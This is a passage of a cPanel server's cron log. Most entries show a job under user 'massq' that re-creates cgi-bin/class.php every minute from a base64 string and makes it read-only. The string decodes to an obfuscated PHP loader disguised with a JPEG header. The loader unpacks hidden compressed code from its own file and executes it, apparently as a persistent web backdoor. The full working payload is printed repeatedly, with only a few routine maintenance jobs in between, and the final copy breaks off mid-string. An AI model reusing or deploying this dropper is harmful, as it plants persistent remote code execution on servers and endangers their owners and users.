"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:38:01 server CROND[10695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:39:01 server CROND[10744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:39:01 server CROND[10745]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 14:40:01 server CROND[10807]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:40:01 server CROND[10809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:40:01 server CROND[10811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:40:01 server CROND[10810]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 14:41:01 server CROND[10906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:42:01 server CROND[10948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:42:01 server CROND[10949]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 14:43:01 server CROND[11096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:44:01 server CROND[11155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:45:01 server CROND[11206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:45:01 server CROND[11207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:45:01 server CROND[11208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:46:01 server CROND[11329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:47:01 server CROND[11388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:48:01 server CROND[11442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:49:01 server CROND[11595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:50:01 server CROND[11644]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 14:50:01 server CROND[11645]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 14:50:01 server CROND[11647]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:50:01 server CROND[11646]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:50:01 server CROND[11648]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczP